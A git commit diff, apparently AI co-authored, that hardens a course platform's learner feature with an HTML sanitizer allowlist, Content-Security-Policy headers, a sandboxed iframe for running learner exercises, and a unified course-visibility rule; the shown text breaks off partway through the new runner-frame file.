fix(learner): review round 1: sanitize-html, sandboxed runner frame, one visibility rule, no Tab capture
C1: lesson HTML goes through a sanitize-html allowlist on the fully rendered output (no on* attributes, no style, no svg/math/iframe/object/embed/form; URLs limited to http(s), mailto, relative and anchors). Raw tags outside the allowlist are escaped as text. The SPA document is served with a CSP (script-src 'self', no inline script) through spaWithCsp in main.ts; contract request §5 asks core to own it. C2: exercises run in <iframe sandbox="allow-scripts"> (opaque origin, no cookies) loaded from /api/learner/runner-frame, whose CSP allows only its own script (by hash) and blob: workers, and connect-src 'none'. postMessage only, both sides check event.source; the timeout removes the frame. The worker stubs now also cover Worker, SharedWorker and caches. I1: learner visibility calls core canView with per-course authorship only, like /api/media (contract request §6). I2: Tab and Shift+Tab move focus; Enter keeps the previous line's indentation. Tests: XSS unit cases, headless-Chrome checks for the exploit lesson and for fetch, import, Cache.add, nested Worker, img, EventSource, WebSocket, XHR and sendBeacon from learner and test code (plus a negative control), visibility on both dialects, SPA and runner-frame CSP headers. Co-Authored-By: Claude Opus 5.5 <[email protected]>
This commit is contained in:
co-authored by
Claude Opus 5.5
parent
061ae7a2d9
commit
c7b9e1f98e
@@ -2,7 +2,7 @@ import type { AppConfig, AuthService, Feature, JobHandler, JobQueue, ServerConte
|
|||||||
import { createApp, createJobQueue, loadConfig } from "@stc/core";
|
import { createApp, createJobQueue, loadConfig } from "@stc/core";
|
||||||
import { createCourseRepository } from "@stc/course-format";
|
import { createCourseRepository } from "@stc/course-format";
|
||||||
import { connect, migrate } from "@stc/db";
|
import { connect, migrate } from "@stc/db";
|
||||||
import { learnerFeature } from "@stc/feature-learner";
|
import { learnerFeature, spaWithCsp } from "@stc/feature-learner";
|
||||||
import indexHtml from "../../web/index.html";
|
import indexHtml from "../../web/index.html";
|
||||||
|
|
||||||
// Used until a feature supplies an `auth` service (the learner package does).
|
// Used until a feature supplies an `auth` service (the learner package does).
|
||||||
@@ -31,16 +31,19 @@ export async function startServer(
|
|||||||
ctx.jobs = jobs;
|
ctx.jobs = jobs;
|
||||||
const app = createApp(ctx, built);
|
const app = createApp(ctx, built);
|
||||||
jobs.start();
|
jobs.start();
|
||||||
|
// The SPA document carries a CSP header (served through spaWithCsp; contract request learner §5).
|
||||||
|
const spa = spaWithCsp(indexHtml, { development: process.env.NODE_ENV !== "production" });
|
||||||
const server = Bun.serve({
|
const server = Bun.serve({
|
||||||
port: config.port,
|
port: config.port,
|
||||||
// Bun routes win over fetch; "/api/*" falls through to the composed app (404 for unknown API paths).
|
// Bun routes win over fetch; "/api/*" falls through to the composed app (404 for unknown API paths).
|
||||||
routes: { ...app.routes, "/api/*": (req) => app.fetch(req), "/*": indexHtml },
|
routes: { ...app.routes, "/api/*": (req) => app.fetch(req), ...spa.routes },
|
||||||
fetch: (req) => app.fetch(req),
|
fetch: (req) => app.fetch(req),
|
||||||
});
|
});
|
||||||
return {
|
return {
|
||||||
server,
|
server,
|
||||||
async stop() {
|
async stop() {
|
||||||
await server.stop(true);
|
await server.stop(true);
|
||||||
|
spa.stop();
|
||||||
await jobs.stop();
|
await jobs.stop();
|
||||||
await db.close();
|
await db.close();
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -62,6 +62,10 @@
|
|||||||
"better-auth": "^1.7.14",
|
"better-auth": "^1.7.14",
|
||||||
"marked": "^18.1.2",
|
"marked": "^18.1.2",
|
||||||
"pdfjs-dist": "^6.4.299",
|
"pdfjs-dist": "^6.4.299",
|
||||||
|
"sanitize-html": "^2",
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/sanitize-html": "^2.16.2",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"packages/feature-studio": {
|
"packages/feature-studio": {
|
||||||
@@ -164,6 +168,8 @@
|
|||||||
|
|
||||||
"@types/react-dom": ["@types/[email protected]", "", { "peerDependencies": { "@types/react": "^19.3.0" } }, "sha512-ZI7bU42mZXXKHn/qNLEw2IrbiINU7X5+vfgdixBHkCNpYWXjKgfQ/P+uyGb5CjOLB9UcnTeg3rylQtV2hym44Q=="],
|
"@types/react-dom": ["@types/[email protected]", "", { "peerDependencies": { "@types/react": "^19.3.0" } }, "sha512-ZI7bU42mZXXKHn/qNLEw2IrbiINU7X5+vfgdixBHkCNpYWXjKgfQ/P+uyGb5CjOLB9UcnTeg3rylQtV2hym44Q=="],
|
||||||
|
|
||||||
|
"@types/sanitize-html": ["@types/[email protected]", "", { "dependencies": { "htmlparser2": "^12.0" } }, "sha512-kuAbgDCFv418flrp3z4o/4ufLA/5ovmXRH0L419iZCPGO7w00znjeDI5Wy/KZWNIBpDQc7hucCK+J5almB6FyA=="],
|
||||||
|
|
||||||
"@xmldom/is-dom-node": ["@xmldom/[email protected]", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="],
|
"@xmldom/is-dom-node": ["@xmldom/[email protected]", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="],
|
||||||
|
|
||||||
"@xmldom/xmldom": ["@xmldom/[email protected]", "", {}, "sha512-5AXjrcMClTryPe9LgZrygpB1lj7s0S9E0+W+AHaVKAVyHanafK86iPSvG5xHVSp/jC+VH1UXu0TAEmY279xH7A=="],
|
"@xmldom/xmldom": ["@xmldom/[email protected]", "", {}, "sha512-5AXjrcMClTryPe9LgZrygpB1lj7s0S9E0+W+AHaVKAVyHanafK86iPSvG5xHVSp/jC+VH1UXu0TAEmY279xH7A=="],
|
||||||
@@ -178,28 +184,56 @@
|
|||||||
|
|
||||||
"csstype": ["[email protected]", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
|
"csstype": ["[email protected]", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
|
||||||
|
|
||||||
|
"dayjs": ["[email protected]", "", {}, "sha512-QDTCU0M0MxR3hQfnlDJfwekQiaanm1ubOD231u73WBckQ/fsamwRLiE2GBz6D3a/xF1NgfiDLJjXBa1hYOYTtQ=="],
|
||||||
|
|
||||||
"defu": ["[email protected]", "", {}, "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ=="],
|
"defu": ["[email protected]", "", {}, "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ=="],
|
||||||
|
|
||||||
|
"dom-serializer": ["[email protected]", "", { "dependencies": { "domelementtype": "^3.0.0", "domhandler": "^6.0.0", "entities": "^8.0.0" } }, "sha512-4MEa38/QexBob6gFNwu+EGdWvhJ1OKuNwdYY3Y3NyeWDQfnGeDYQUDfIRzWu5B5gsv03so2Uxd28YC6zrsx3Lw=="],
|
||||||
|
|
||||||
|
"domelementtype": ["[email protected]", "", {}, "sha512-umCQid3jKbDmVjx8jGaW7uUykm4DEUeyV21hPxNMo2nV955DhUThwqyOIDtreepP31hl84X7G5U9ZfsWvIB3Pg=="],
|
||||||
|
|
||||||
|
"domhandler": ["[email protected]", "", { "dependencies": { "domelementtype": "^3.0.0" } }, "sha512-gYzvtM72ZtxQO0T048kd6HWSbbGCNOUwcnfQ01cqIJ4X2IYKFFHZ5mKvrQETcFXxsRObZulDaKmy//R7TPtsBg=="],
|
||||||
|
|
||||||
|
"domutils": ["[email protected]", "", { "dependencies": { "dom-serializer": "^3.0.0", "domelementtype": "^3.0.0", "domhandler": "^6.0.0" } }, "sha512-qI4JLRKnSzqFqr7hAlS5xQDusBCjKSEG4t4+7aNrIQMHBcsC2TGEhuyABJdYkgSewL57PNLYEiibY2iPKhKpaA=="],
|
||||||
|
|
||||||
|
"entities": ["[email protected]", "", {}, "sha512-kxL7msIffSuh9aaFAMD7rxAIuTRMAHMeBtgHW2yUdWw732ZNh4MehkF2gdjvtdmikkaIP9bFDDJOPlsvm7avrA=="],
|
||||||
|
|
||||||
"escape-html": ["[email protected]", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="],
|
"escape-html": ["[email protected]", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="],
|
||||||
|
|
||||||
|
"escape-string-regexp": ["[email protected]", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="],
|
||||||
|
|
||||||
"fast-xml-builder": ["[email protected]", "", { "dependencies": { "path-expression-matcher": "^1.6.2", "xml-naming": "^0.3.0" } }, "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug=="],
|
"fast-xml-builder": ["[email protected]", "", { "dependencies": { "path-expression-matcher": "^1.6.2", "xml-naming": "^0.3.0" } }, "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug=="],
|
||||||
|
|
||||||
"fast-xml-parser": ["[email protected]", "", { "dependencies": { "@nodable/entities": "^3.0.1", "fast-xml-builder": "^1.2.0", "is-unsafe": "^2.0.0", "path-expression-matcher": "^1.6.2", "strnum": "^2.4.2", "xml-naming": "^0.3.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-R9iDuNrQYeQut46cn2r2wHKn4HYzVDvDm5J1wW+koZewykv0yuO2HChTYeZtrULyHIDM9cj9TUXloCsueCQUog=="],
|
"fast-xml-parser": ["[email protected]", "", { "dependencies": { "@nodable/entities": "^3.0.1", "fast-xml-builder": "^1.2.0", "is-unsafe": "^2.0.0", "path-expression-matcher": "^1.6.2", "strnum": "^2.4.2", "xml-naming": "^0.3.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-R9iDuNrQYeQut46cn2r2wHKn4HYzVDvDm5J1wW+koZewykv0yuO2HChTYeZtrULyHIDM9cj9TUXloCsueCQUog=="],
|
||||||
|
|
||||||
|
"htmlparser2": ["[email protected]", "", { "dependencies": { "domelementtype": "^3.0.0", "domhandler": "^6.0.0", "domutils": "^4.0.2", "entities": "^8.0.0" } }, "sha512-Tz7u1i95/g2x2jz81+x0FBVhBhY5aRTvD3tXXdFaljuNdzDLJ8UGNRrTcj2cgQvAg3iW/h77Fz15nLW0L0CrZw=="],
|
||||||
|
|
||||||
|
"is-plain-object": ["[email protected]", "", {}, "sha512-bUi/yjmtKYcRVUtWRGr0UA6xEFh2I6zWUwMrUXB3s7bmYCaZ8a+0ZsTRkrawh/mzlSD1Y0Ph8bp/U+TvBpWDNw=="],
|
||||||
|
|
||||||
"is-unsafe": ["[email protected]", "", {}, "sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ=="],
|
"is-unsafe": ["[email protected]", "", {}, "sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ=="],
|
||||||
|
|
||||||
"jose": ["[email protected]", "", {}, "sha512-3JasLuki1NRLQvY4wCoC37KZk4qxoBx2k2aFqLxT84IezqW0bkJKnNtxnZj/Fu1xsQivoc/lytxaRHJoGLjJ1A=="],
|
"jose": ["[email protected]", "", {}, "sha512-3JasLuki1NRLQvY4wCoC37KZk4qxoBx2k2aFqLxT84IezqW0bkJKnNtxnZj/Fu1xsQivoc/lytxaRHJoGLjJ1A=="],
|
||||||
|
|
||||||
"kysely": ["[email protected]", "", {}, "sha512-fmIq+7kv4WbFm2tcfznRzikqB4cuNpgZ40PSU2fAJ2/OO5XhojqnTPrmgrCjYSRJVwBln03XcRXJGnw9H099IQ=="],
|
"kysely": ["[email protected]", "", {}, "sha512-fmIq+7kv4WbFm2tcfznRzikqB4cuNpgZ40PSU2fAJ2/OO5XhojqnTPrmgrCjYSRJVwBln03XcRXJGnw9H099IQ=="],
|
||||||
|
|
||||||
|
"launder": ["[email protected]", "", { "dependencies": { "dayjs": "^1.11.23" } }, "sha512-DLg3HPnHUfBi5/MxMLmJD12dmlMpFEC2HgMW6vkZ/9JR0RU00kXoRGvDxAvFmdO0o610OA77i4FgNTLucmhDVg=="],
|
||||||
|
|
||||||
"marked": ["[email protected]", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-DfOnvLAQ6WYeWxWO1u4RyFOeqyHup6dks5PPqnoFiooU7ipRvidO/2j8plhAHIiZg574E9ZlzSjUiPMLAzFkgg=="],
|
"marked": ["[email protected]", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-DfOnvLAQ6WYeWxWO1u4RyFOeqyHup6dks5PPqnoFiooU7ipRvidO/2j8plhAHIiZg574E9ZlzSjUiPMLAzFkgg=="],
|
||||||
|
|
||||||
|
"nanoid": ["[email protected]", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ=="],
|
||||||
|
|
||||||
"nanostores": ["[email protected]", "", {}, "sha512-FixtE239Gl6Gz0ZGCK0WzvNwObNCIwVT+L7zQcf1QgcA6AzBxblzqe9OT88qiucNkhsjSOqiogSaF5jVbJiqSA=="],
|
"nanostores": ["[email protected]", "", {}, "sha512-FixtE239Gl6Gz0ZGCK0WzvNwObNCIwVT+L7zQcf1QgcA6AzBxblzqe9OT88qiucNkhsjSOqiogSaF5jVbJiqSA=="],
|
||||||
|
|
||||||
|
"parse-srcset": ["[email protected]", "", {}, "sha512-/2qh0lav6CmI15FzA3i/2Bzk2zCgQhGMkvhOhKNcBVQ1ldgpbfiNTVslmooUmWJcADi1f1kIeynbDRVzNlfR6Q=="],
|
||||||
|
|
||||||
"path-expression-matcher": ["[email protected]", "", {}, "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ=="],
|
"path-expression-matcher": ["[email protected]", "", {}, "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ=="],
|
||||||
|
|
||||||
"pdfjs-dist": ["[email protected]", "", { "optionalDependencies": { "@napi-rs/canvas": "^1.0.10" } }, "sha512-AVl138zALtfaAPvADulE0PZThbYzCBS79nL4pOSL/6Sm/4AH5A21BD9VHt97OlCuzJuCpmeZtAtkinisF4Vb1g=="],
|
"pdfjs-dist": ["[email protected]", "", { "optionalDependencies": { "@napi-rs/canvas": "^1.0.10" } }, "sha512-AVl138zALtfaAPvADulE0PZThbYzCBS79nL4pOSL/6Sm/4AH5A21BD9VHt97OlCuzJuCpmeZtAtkinisF4Vb1g=="],
|
||||||
|
|
||||||
|
"picocolors": ["[email protected]", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
|
||||||
|
|
||||||
|
"postcss": ["[email protected]", "", { "dependencies": { "nanoid": "^3.3.20", "picocolors": "^1.1.1", "source-map-js": "^1.2.2" } }, "sha512-LJlKCCAUFKOuZxipUdYw1NzIITEsPcgyOG9LkvRJvuKj/bRzbuRY0ARXvL0pWGpsZvn8jku+LMep2eU0seHp8g=="],
|
||||||
|
|
||||||
"react": ["[email protected]", "", {}, "sha512-QNhWdt7nrgVWWQG58QuGsAR3jv3Hbe4mb4vz7w2csnHavciZJgda1CPNaldF6eVxv90ud3jUXpKlHL69gO38yw=="],
|
"react": ["[email protected]", "", {}, "sha512-QNhWdt7nrgVWWQG58QuGsAR3jv3Hbe4mb4vz7w2csnHavciZJgda1CPNaldF6eVxv90ud3jUXpKlHL69gO38yw=="],
|
||||||
|
|
||||||
"react-dom": ["[email protected]", "", { "dependencies": { "scheduler": "^0.28.0" }, "peerDependencies": { "react": "^19.3.1" } }, "sha512-Y0bARz53lhEC1NMCASs0/j+faB/zqt3R8hpvg1e8+61ZVJ4UL0UdC4cBbXfZMcIuhrfgeILTLe+ZeBCavQPtKQ=="],
|
"react-dom": ["[email protected]", "", { "dependencies": { "scheduler": "^0.28.0" }, "peerDependencies": { "react": "^19.3.1" } }, "sha512-Y0bARz53lhEC1NMCASs0/j+faB/zqt3R8hpvg1e8+61ZVJ4UL0UdC4cBbXfZMcIuhrfgeILTLe+ZeBCavQPtKQ=="],
|
||||||
@@ -212,10 +246,14 @@
|
|||||||
|
|
||||||
"samlify": ["[email protected]", "", { "dependencies": { "@authenio/xml-encryption": "^6.0.2", "@xmldom/xmldom": "^0.9.12", "xml": "^1.0.1", "xml-crypto": "^6.4.0", "xml-escape": "^1.1.0", "xpath": "^0.0.35" } }, "sha512-peZitMO2cAnf0pY45H0yw0Drqmby7U91yRovH3AH8TdwYCNRnmidVORXIjcK+21cBk3Mjl8EVz8Nvuw/v20rAw=="],
|
"samlify": ["[email protected]", "", { "dependencies": { "@authenio/xml-encryption": "^6.0.2", "@xmldom/xmldom": "^0.9.12", "xml": "^1.0.1", "xml-crypto": "^6.4.0", "xml-escape": "^1.1.0", "xpath": "^0.0.35" } }, "sha512-peZitMO2cAnf0pY45H0yw0Drqmby7U91yRovH3AH8TdwYCNRnmidVORXIjcK+21cBk3Mjl8EVz8Nvuw/v20rAw=="],
|
||||||
|
|
||||||
|
"sanitize-html": ["[email protected]", "", { "dependencies": { "escape-string-regexp": "^4.0.0", "htmlparser2": "^12.0.0", "is-plain-object": "^5.1.0", "launder": "^1.7.2", "parse-srcset": "^1.0.2", "postcss": "^8.5.27" } }, "sha512-2X5lC8fYla8YaT8g73Nj+HcLWXan5dLyCWLgVvaOmfw7JI78IRsyNtIDytTHdn7hBQbIkCah7Zbmd5jabzeDig=="],
|
||||||
|
|
||||||
"scheduler": ["[email protected]", "", {}, "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw=="],
|
"scheduler": ["[email protected]", "", {}, "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw=="],
|
||||||
|
|
||||||
"set-cookie-parser": ["[email protected]", "", {}, "sha512-Npd1Pt+4zb3BrSZDPd2qFwRpS6b1EUEasRrO8xS0zMJi0fApXXK5YuzP0minyJnxwnFHoVoJwA55q0A0cu63gQ=="],
|
"set-cookie-parser": ["[email protected]", "", {}, "sha512-Npd1Pt+4zb3BrSZDPd2qFwRpS6b1EUEasRrO8xS0zMJi0fApXXK5YuzP0minyJnxwnFHoVoJwA55q0A0cu63gQ=="],
|
||||||
|
|
||||||
|
"source-map-js": ["[email protected]", "", {}, "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw=="],
|
||||||
|
|
||||||
"strnum": ["[email protected]", "", { "dependencies": { "anynum": "^1.0.1" } }, "sha512-UM4nTLWzQiDBseVxUGxN0wJzIk0UU89Qi7pKXz9qISo+lhviJikTuikBsK/oFRlpvYHvSdz0TVoLyQ+sEpYwxA=="],
|
"strnum": ["[email protected]", "", { "dependencies": { "anynum": "^1.0.1" } }, "sha512-UM4nTLWzQiDBseVxUGxN0wJzIk0UU89Qi7pKXz9qISo+lhviJikTuikBsK/oFRlpvYHvSdz0TVoLyQ+sEpYwxA=="],
|
||||||
|
|
||||||
"tldts": ["[email protected]", "", { "dependencies": { "tldts-core": "^7.4.19" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-48dH6aSpQnpbzDUc4vIQZ1VjB8tkK+e8c1yx05/SZK+rkssgjEOlxDd/yU8/a4vGYQ9vRgJr9dwMq9TJ0b3X2Q=="],
|
"tldts": ["[email protected]", "", { "dependencies": { "tldts-core": "^7.4.19" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-48dH6aSpQnpbzDUc4vIQZ1VjB8tkK+e8c1yx05/SZK+rkssgjEOlxDd/yU8/a4vGYQ9vRgJr9dwMq9TJ0b3X2Q=="],
|
||||||
|
|||||||
@@ -28,3 +28,17 @@ and let `startServer` take `Array<Feature | FeatureFactory>`.
|
|||||||
## 4. LessonView for the studio preview
|
## 4. LessonView for the studio preview
|
||||||
|
|
||||||
`import { LessonView } from "@stc/feature-learner/web"`. Props: `lesson: LessonPayload` (the JSON from `GET /api/courses/:id/lessons/:lessonId`), plus optional `look`, `track`, `onTrackChange`, `preview`. With `preview` set, it makes no notes, attempt or progress requests; it still loads code listings and decks through the normal media routes. It injects its own stylesheet (scoped under `.lr`) and works with or without a router.
|
`import { LessonView } from "@stc/feature-learner/web"`. Props: `lesson: LessonPayload` (the JSON from `GET /api/courses/:id/lessons/:lessonId`), plus optional `look`, `track`, `onTrackChange`, `preview`. With `preview` set, it makes no notes, attempt or progress requests; it still loads code listings and decks through the normal media routes. It injects its own stylesheet (scoped under `.lr`) and works with or without a router.
|
||||||
|
|
||||||
|
## 5. Content-Security-Policy on the SPA, set by core (review C1)
|
||||||
|
|
||||||
|
**Problem.** Lesson HTML is author content. The sanitizer (sanitize-html allowlist) is the first defence, and a CSP without inline script is the second. Bun.serve cannot attach headers to an HTML import route.
|
||||||
|
|
||||||
|
**Workaround in `feat/learner` (applied).** `spaWithCsp(indexHtml, { development })` in `@stc/feature-learner` serves the bundle from an internal server bound to 127.0.0.1 and proxies it. HTML responses get `Content-Security-Policy` (`script-src 'self'`, no `'unsafe-inline'`; `connect-src 'self'`; `object-src 'none'`; `frame-ancestors 'self'`; see `spaCsp()`), plus `X-Content-Type-Options: nosniff` and `Referrer-Policy: same-origin`. `main.ts` uses it for `"/*"`. HMR is off on the internal server, so Bun injects no inline script. If it ever does in development, only the hashes of those exact scripts are allowed.
|
||||||
|
|
||||||
|
**Proposal.** Core owns the SPA route and sets this CSP globally (and for every feature's HTML), replacing the proxy. Other features must then avoid inline scripts as well. The studio preview through `LessonView` already complies.
|
||||||
|
|
||||||
|
## 6. `canView` and the global `author` role (review I1)
|
||||||
|
|
||||||
|
**Ruling applied.** Learner routes now call core `canView` with per-course authorship only (`course_authors`), exactly like core's `/api/media`. A user with only the global `author` role gets a 404 for a restricted course they are not listed on, on every route.
|
||||||
|
|
||||||
|
**Proposal for Phase 2.** Extend core `canView` so the global `author` role can view every course (the studio and AI need the same rule), for example `canView(user, course, acl, isCourseAuthor)` returning true when `user.roles.includes("author")`. The learner then needs no change: it already delegates to `canView`.
|
||||||
|
|||||||
@@ -8,10 +8,14 @@
|
|||||||
"@better-auth/sso": "^1.7.14",
|
"@better-auth/sso": "^1.7.14",
|
||||||
"better-auth": "^1.7.14",
|
"better-auth": "^1.7.14",
|
||||||
"marked": "^18.1.2",
|
"marked": "^18.1.2",
|
||||||
"pdfjs-dist": "^6.4.299"
|
"pdfjs-dist": "^6.4.299",
|
||||||
|
"sanitize-html": "^2"
|
||||||
},
|
},
|
||||||
"exports": {
|
"exports": {
|
||||||
".": "./src/index.ts",
|
".": "./src/index.ts",
|
||||||
"./web": "./web/src/index.ts"
|
"./web": "./web/src/index.ts"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/sanitize-html": "^2.16.2"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
// Server
|
// Server
|
||||||
export { migrationsDirs, runMigrations } from "./server/migrate";
|
export { migrationsDirs, runMigrations } from "./server/migrate";
|
||||||
export { learnerFeature } from "./server/feature";
|
export { learnerFeature } from "./server/feature";
|
||||||
|
export { spaWithCsp, spaCsp } from "./server/spa";
|
||||||
// Browser (also available without the server half as "@stc/feature-learner/web")
|
// Browser (also available without the server half as "@stc/feature-learner/web")
|
||||||
export { learnerWeb, LessonView, type LessonViewProps, ensureLearnerStyles } from "./web";
|
export { learnerWeb, LessonView, type LessonViewProps, ensureLearnerStyles } from "./web";
|
||||||
// Shared JSON shapes
|
// Shared JSON shapes
|
||||||
|
|||||||
@@ -28,10 +28,14 @@ export function canEdit(user: AuthUser | null, courseId: string, idx: AccessInde
|
|||||||
return !!user && (user.roles.includes("owner") || user.roles.includes("author") || idx.authorOf.has(courseId));
|
return !!user && (user.roles.includes("owner") || user.roles.includes("author") || idx.authorOf.has(courseId));
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Learners see courses with a manifest that `canView` allows; owners also see broken ones. */
|
/**
|
||||||
|
* Learners see courses with a manifest that core `canView` allows; owners also see broken ones. The author input
|
||||||
|
* is per-course authorship only, the same as core's media route, so every route applies one rule. (The global
|
||||||
|
* `author` role grants viewing only once Phase 2 extends `canView`; contract request learner §6.)
|
||||||
|
*/
|
||||||
export function visible(user: AuthUser | null, c: LoadedCourse, idx: AccessIndex): boolean {
|
export function visible(user: AuthUser | null, c: LoadedCourse, idx: AccessIndex): boolean {
|
||||||
if (!c.manifest) return isOwner(user);
|
if (!c.manifest) return isOwner(user);
|
||||||
return canView(user, c, idx.acl.get(c.id) ?? [], canEdit(user, c.id, idx));
|
return canView(user, c, idx.acl.get(c.id) ?? [], idx.authorOf.has(c.id));
|
||||||
}
|
}
|
||||||
|
|
||||||
/** The course if this user may read it, else null (callers answer 404, never 403, so hidden courses stay hidden). */
|
/** The course if this user may read it, else null (callers answer 404, never 403, so hidden courses stay hidden). */
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import { userDataRoutes } from "./userdata";
|
|||||||
import { codeRoutes } from "./code";
|
import { codeRoutes } from "./code";
|
||||||
import { transpileRoutes } from "./transpile";
|
import { transpileRoutes } from "./transpile";
|
||||||
import { assetRoutes } from "./assets";
|
import { assetRoutes } from "./assets";
|
||||||
|
import { runnerFrameRoutes } from "./runnerFrame";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* The learner feature: auth, library, reader, notes, progress and exercises.
|
* The learner feature: auth, library, reader, notes, progress and exercises.
|
||||||
@@ -34,6 +35,7 @@ export function learnerFeature(ctx: ServerContext): Feature & { auth: AuthServic
|
|||||||
...codeRoutes(ctx),
|
...codeRoutes(ctx),
|
||||||
...transpileRoutes(),
|
...transpileRoutes(),
|
||||||
...assetRoutes(),
|
...assetRoutes(),
|
||||||
|
...runnerFrameRoutes(),
|
||||||
};
|
};
|
||||||
// Every handler waits for the learner migrations (a no-op once Phase 2 runs them in migrate()).
|
// Every handler waits for the learner migrations (a no-op once Phase 2 runs them in migrate()).
|
||||||
for (const methods of Object.values(routes)) {
|
for (const methods of Object.values(routes)) {
|
||||||
|
|||||||
@@ -0,0 +1,67 @@
|
|||||||
|
import type { Feature } from "@stc/contracts";
|
||||||
|
import { WORKER_SOURCE } from "../web/runner/worker-source";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The exercise runner frame. The page loads it in `<iframe sandbox="allow-scripts">` (never allow-same-origin),
|
||||||
|
* so it has an opaque origin: no cookies, no storage, no access to the page. Its own CSP allows only this one
|
||||||
|
* inline script (by hash) and blob: scripts and workers, and no connections at all (`connect-src 'none'`), which
|
||||||
|
* also covers dynamic import of remote URLs, Cache.add, nested workers, EventSource and WebSocket. The worker
|
||||||
|
* inherits that policy. The page talks to the frame only with postMessage, and both sides check `event.source`.
|
||||||
|
*/
|
||||||
|
export const RUNNER_FRAME_PATH = "/api/learner/runner-frame";
|
||||||
|
|
||||||
|
export const FRAME_SCRIPT = `(() => {
|
||||||
|
"use strict";
|
||||||
|
const SRC = ${JSON.stringify(WORKER_SOURCE)};
|
||||||
|
let worker = null;
|
||||||
|
const send = (msg) => parent.postMessage(msg, "*");
|
||||||
|
addEventListener("message", (ev) => {
|
||||||
|
if (ev.source !== parent) return;
|
||||||
|
const m = ev.data;
|
||||||
|
if (!m || m.type !== "run" || worker) return;
|
||||||
|
const url = URL.createObjectURL(new Blob([SRC], { type: "text/javascript" }));
|
||||||
|
// A classic worker: module workers from blob: URLs fail to start in an opaque-origin frame in Chrome.
|
||||||
|
// The worker still loads the learner and test modules with import() of blob: URLs.
|
||||||
|
worker = new Worker(url);
|
||||||
|
worker.onmessage = (e) => send({ type: "worker", data: e.data });
|
||||||
|
worker.onerror = (e) => { e.preventDefault(); send({ type: "crash", message: e.message || "The exercise worker crashed" }); };
|
||||||
|
worker.postMessage({ code: String(m.code), tests: String(m.tests) });
|
||||||
|
});
|
||||||
|
send({ type: "ready" });
|
||||||
|
})();`;
|
||||||
|
|
||||||
|
const hash = new Bun.CryptoHasher("sha256").update(FRAME_SCRIPT).digest("base64");
|
||||||
|
|
||||||
|
export const RUNNER_FRAME_CSP = [
|
||||||
|
"default-src 'none'",
|
||||||
|
`script-src 'sha256-${hash}' blob:`,
|
||||||
|
"worker-src blob:",
|
